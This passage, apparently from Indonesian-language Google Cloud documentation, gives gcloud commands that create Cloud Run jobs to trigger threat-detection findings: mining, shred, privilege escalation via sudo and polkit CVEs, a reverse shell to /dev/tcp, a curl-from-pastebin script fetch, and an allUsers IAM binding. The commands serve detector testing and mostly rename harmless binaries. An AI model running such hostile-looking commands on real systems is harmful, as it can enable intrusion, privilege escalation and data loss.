      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Impact: Detect Malicious Cmdlines.

Dampak: Menghapus Data Massal dari Disk

Untuk memicu temuan Impact: Remove Bulk Data From Disk, jalankan alat seperti shred.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Impact: Remove Bulk Data From Disk.

Dampak: Aktivitas penambangan mata uang kripto yang mencurigakan menggunakan Protokol Stratum

Untuk memicu temuan Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, jalankan biner dengan argumen yang menyerupai argumen yang digunakan oleh software penambangan mata uang kripto yang berkomunikasi menggunakan protokol Stratum.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol.

Skrip Berbahaya Dieksekusi

Untuk memicu temuan Malicious Script Executed, jalankan skrip yang meniru perilaku berbahaya.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Malicious Script Executed.

URL Berbahaya Teramati

Untuk memicu temuan Malicious URL Observed, jalankan program biner dan berikan URL berbahaya sebagai argumen.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini memicu temuan Malicious URL Observed.

Eskalasi Akses: Penyalahgunaan Sudo Untuk Eskalasi Akses (CVE-2019-14287)

Untuk memicu temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), jalankan biner sudo dengan parameter -u#-1.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).

Eskalasi Akses: Potensi Eskalasi Akses Sudo (CVE-2021-3156)

Untuk memicu temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), jalankan program biner sudo dengan parameter -s dan parameter yang diakhiri dengan ``.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).

Eskalasi Akses: Kerentanan Eskalasi Akses Lokal Polkit (CVE-2021-4034)

Untuk memicu temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), jalankan program biner pkexec dengan variabel lingkungan GCONV_PATH yang ditetapkan sebagai pengguna non-root.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).

Reverse Shell

Untuk memicu temuan Reverse Shell, mulai program biner dengan pengalihan stdin ke soket yang terhubung TCP.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Reverse Shell.

Child Shell yang Tidak Terduga

Untuk menguji detektor Unexpected Child Shell, buat pohon proses yang menyertakan proses child shell.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --task-timeout 700 \
      --args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Unexpected Child Shell. Perhatikan bahwa pengujian ini dapat memerlukan waktu hingga 15 menit untuk menghasilkan temuan.

Eksekusi: Image Docker Penambangan Kripto

Untuk memicu temuan Execution: Cryptomining Docker Image, deploy container menggunakan nama image Docker yang terkait dengan software penambangan kripto.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
      --command sh \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Cryptomining Docker Image. Perhatikan bahwa deployment tugas akan gagal karena image tidak ada, tetapi temuan akan tetap dibuat.

Dampak: Perintah Penambangan Kripto

Untuk memicu temuan Impact: Cryptomining Commands, jalankan perintah dengan argumen yang menyerupai software penambangan kripto yang dikenal.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command xmrig \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Impact: Cryptomining Commands. Perhatikan bahwa eksekusi tugas akan gagal karena perintah tidak ada dalam image, tetapi temuan akan tetap dibuat.

Eskalasi Akses: Akun Layanan Compute Engine Default SetIAMPolicy

Untuk memicu temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, jalankan perintah yang menggunakan akun layanan Compute Engine default untuk menetapkan kebijakan IAM layanan Cloud Run.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
      --command gcloud \
      --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.

Langkah berikutnya